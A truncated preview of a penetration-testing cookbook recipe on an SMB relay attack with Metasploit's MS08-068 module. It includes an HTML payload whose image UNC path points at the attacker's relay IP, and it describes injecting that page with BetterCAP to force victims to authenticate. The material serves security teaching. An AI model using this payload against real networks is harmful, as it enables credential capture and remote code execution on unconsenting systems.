How to do it...

In this recipe, we will use the MS08-068 Microsoft Windows SMB Relay Code Execution exploit module to perform an SMB relay attack:

  1. To use this module, we need to set the target SMB server we wish to connect to with SMBHOST:
  1. Now that we have the relay module set up and ready, create an HTML file like the one following, with the IP address of the machine running the relay in the UNC path:
<html>  <body>    <img src="\\192.168.216.5\image.jpg">  </body></html>
  1. Next, we will use BetterCAP to inject the HTML file, forcing the target to authenticate and try to load the image:
  1. As you can see from the screenshot, the HTML was injected, ...

Get Metasploit Penetration Testing Cookbook - Third Edition now with the O’Reilly learning platform.

O’Reilly members experience books, live events, courses curated by job role, and more from O’Reilly and nearly 200 top publishers.